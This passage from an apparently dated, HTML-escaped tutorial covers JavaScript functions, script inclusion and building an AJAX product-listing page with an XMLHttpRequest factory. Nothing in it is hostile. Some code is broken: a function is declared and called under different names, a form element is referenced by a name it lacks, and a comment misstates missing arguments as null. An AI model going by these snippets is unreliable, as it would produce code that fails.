conditional&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; case 22:&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; alert(&amp;quot;variable 1 has value of 22!&amp;quot;);&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; break; &lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; default:&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; alert(&amp;quot;didn't have value of 22!&amp;quot;);&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; break;&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;/pre&gt;&lt;pre&gt;}else{&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; alert('The final else statement');&lt;/pre&gt;&lt;pre&gt;}&lt;/pre&gt;&lt;h2&gt;&lt;strong&gt;Functions&lt;/strong&gt;&lt;/h2&gt;&lt;p&gt;To declare a  function in javascript, use the following: &lt;/p&gt;&lt;pre&gt;&amp;nbsp;&lt;/pre&gt;&lt;pre&gt;[javascript code]&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&lt;/pre&gt;&lt;pre&gt;function functioname(argument1, argument2, argument3){&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; /* Arguments not provided will be null */&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if(argument3 == null){&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; return argument1 + argument2&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }else{&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; return argument1 + argument2 + argument3&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;/pre&gt;&lt;pre&gt;}&lt;/pre&gt;&lt;pre&gt;/* And call it with */&lt;/pre&gt;&lt;pre&gt;alert(functionname(1, 2)); //returns 3&lt;/pre&gt;&lt;pre&gt;/* or */&lt;/pre&gt;&lt;pre&gt;alert(functionname(1, 2, 3)); //returns 6&lt;/pre&gt;&lt;p&gt;Other than the  difference with default values for optional arguments, you should assign a  default when a passed argument has a null value. &lt;/p&gt;&lt;h2&gt;&lt;strong&gt;Using Javascript in a Document:&lt;/strong&gt;&lt;/h2&gt;&lt;p&gt;Javascript can be  included in your document in two ways, similar to CSS inclusion: &lt;/p&gt;&lt;pre&gt;&amp;nbsp;&lt;/pre&gt;&lt;pre&gt;[HTML code]&lt;/pre&gt;&lt;pre&gt;&amp;lt;!--Placing your javascript in the head tag of your html document is the standard--&amp;gt;&lt;/pre&gt;&lt;pre&gt;&amp;lt;script language=&amp;quot;javascript&amp;quot; type=&amp;quot;text/javascript&amp;quot; src=&amp;quot;./javascript_file.js&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;&lt;/pre&gt;&lt;pre&gt;&amp;lt;script language=&amp;quot;javascript&amp;quot; type=&amp;quot;text/javascript&amp;quot;&amp;gt;&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; /*Javscript code goes in here*/&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; alert(&amp;quot;Hello World!&amp;quot;);&lt;/pre&gt;&lt;pre&gt;&amp;lt;/script&amp;gt;&lt;/pre&gt;&lt;p&gt;The first way is  to link to the file directly, and the second is to include it on the page  itself. If your code is getting long and is used on multiple pages, it is  preferable to use the first method, as the browser will cache the file for  future use. And that's all you need to know about Javascript to continue. &lt;/p&gt;&lt;h2&gt;&lt;strong&gt;Developing the Initial Page&lt;/strong&gt;&lt;/h2&gt;&lt;p&gt;Below we're going  to be creating the page the user loads to view your companies products. &lt;/p&gt;&lt;pre&gt;&amp;nbsp;&lt;/pre&gt;&lt;pre&gt;[HTML code]&lt;/pre&gt;&lt;pre&gt;&amp;lt;html&amp;gt;&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;head&amp;gt;&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;title&amp;gt;CompanyXYZ Software&amp;lt;/title&amp;gt;&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;script language=&amp;quot;javascript&amp;quot; type=&amp;quot;text/javascript&amp;quot; &lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; src=&amp;quot;./internal_request.js&amp;quot;&amp;gt;&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;/script&amp;gt;&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;/head&amp;gt;&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;body&amp;gt;&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;div id=&amp;quot;product_categories&amp;quot;&amp;gt;&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;!--Category selection box...--&amp;gt;&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;form name=&amp;quot;form_category_select&amp;quot;&amp;gt;&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;select&amp;gt;&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;option&amp;gt;Audio&amp;lt;/option&amp;gt;&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;option&amp;gt;Games&amp;lt;/option&amp;gt;&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;option&amp;gt;Internet&amp;lt;/option&amp;gt;&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;/select&amp;gt;&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;/form&amp;gt;&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;/div&amp;gt;&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;div id=&amp;quot;product_cage&amp;quot;&amp;gt;&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;!--This is where we'll be displaying the products once they're loaded--&amp;gt;&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ^ Please select a category from above.&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;/div&amp;gt;&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;/body&amp;gt;&lt;/pre&gt;&lt;pre&gt;&amp;lt;/html&amp;gt;&lt;/pre&gt;&lt;p&gt;The above HTML  first links to a javascript file, internal_request.js, and displays a page with  two &amp;lt;div&amp;gt; tags, the second of which is where we'll be displaying our  data. Go ahead and copy the above code into a file called products.html. &lt;/p&gt;&lt;h2&gt;&lt;strong&gt;Creating the XMLHttpRequest Object&lt;/strong&gt;&lt;/h2&gt;&lt;p&gt;The XMLHttpRequest  object works differently in Internet Explorer and Mozilla-like browsers. To  create an XMLHttpRequest object in IE, the following can be used: &lt;/p&gt;&lt;pre&gt;&amp;nbsp;&lt;/pre&gt;&lt;pre&gt;[javascript code]&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&lt;/pre&gt;&lt;pre&gt;var request_o = new ActiveXObject(&amp;quot;Microsoft.XMLHTTP&amp;quot;);&lt;/pre&gt;&lt;p&gt;And the following  works for supporting browsers other than IE: &lt;/p&gt;&lt;pre&gt;&amp;nbsp;&lt;/pre&gt;&lt;pre&gt;[javascript code]&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&lt;/pre&gt;&lt;pre&gt;var request_o = new XMLHttpRequest();&lt;/pre&gt;&lt;p&gt;Determining what  browser you are working with and creating the appropriate object is simple: &lt;/p&gt;&lt;pre&gt;&amp;nbsp;&lt;/pre&gt;&lt;pre&gt;[javascript code]&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&lt;/pre&gt;&lt;pre&gt;/* The following function creates an XMLHttpRequest object... */&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&lt;/pre&gt;&lt;pre&gt;function createRequestObject(){&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; var request_o; //declare the variable to hold the object.&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; var browser = navigator.appName; //find the browser name&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if(browser == &amp;quot;Microsoft Internet Explorer&amp;quot;){&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; /* Create the object using MSIE's method */&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; request_o = new ActiveXObject(&amp;quot;Microsoft.XMLHTTP&amp;quot;);&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }else{&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; /* Create the object using other browser's method */&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; request_o = new XMLHttpRequest();&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; return request_o; //return the object&lt;/pre&gt;&lt;pre&gt;}&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&lt;/pre&gt;&lt;pre&gt;/* You can get more specific with version information by using &lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; parseInt(navigator.appVersion)&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Which will extract an integer value containing the version &lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; of the browser being used.&lt;/pre&gt;&lt;pre&gt;*/&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/pre&gt;&lt;p&gt;Copy the above  code into a file called internal_request.js, located in the same directory as  the products.html file. &lt;br&gt;  We now have a function that will  create an XMLHttpRequest object in internal_request.js, and we have an HTML  file that calls upon the code in internal_request.js. Remember how we left the  product selection &amp;lt;div&amp;gt; in &lt;a target="_blank"href="http://www.phpbuilder.com/columns/products.html"&gt;products.html&lt;/a&gt; blank? Let's write the code that utilizes our createRequestObject function to  get the list of products. &lt;/p&gt;&lt;pre&gt;[javascript code]&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&lt;/pre&gt;&lt;pre&gt;/* The variable http will hold our new XMLHttpRequest object. */&lt;/pre&gt;&lt;pre&gt;var http = createRequestObject(); &lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&lt;/pre&gt;&lt;pre&gt;/* Function called to get the product categories list */&lt;/pre&gt;&lt;pre&gt;function getProducts(){&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; /* Create the request. The first argument to the open function is the method (POST/GET),&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; and the second argument is the url... &lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; document contains references to all items on the page&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; We can reference document.form_category_select.select_category_select and we will&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; be referencing the dropdown list. The selectedIndex property will give us the &lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; index of the selected item. &lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; */&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; http.open('get', 'internal_request.php?action=get_products&amp;amp;id=' &lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; + document.form_category_select.select_category_select.selectedIndex);&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; /* Define a function to call once a response has been received. This will be our&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; handleProductCategories function that we define below. */&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; http.onreadystatechange = handleProducts; &lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; /* Send the data. We use something other than null when we are sending using the POST&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; method. */&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; http.send(null);&lt;/pre&gt;&lt;pre&gt;}&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&lt;/pre&gt;&lt;pre&gt;/* Function called to handle the list that was returned from the &lt;a target="_blank"href="http://www.phpbuilder.com/columns/internal_request.php"&gt;internal_request.php file&lt;/a&gt;.. */&lt;/pre&gt;&lt;pre&gt;function handleProducts(){&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; /* Make sure that the transaction has finished. The XMLHttpRequest object &lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; has a property called readyState with several states:&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0: Uninitialized&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 1: Loading&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 2: Loaded&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 3: Interactive&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 4: Finished */&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if(http.readyState == 4){ //Finished loading the 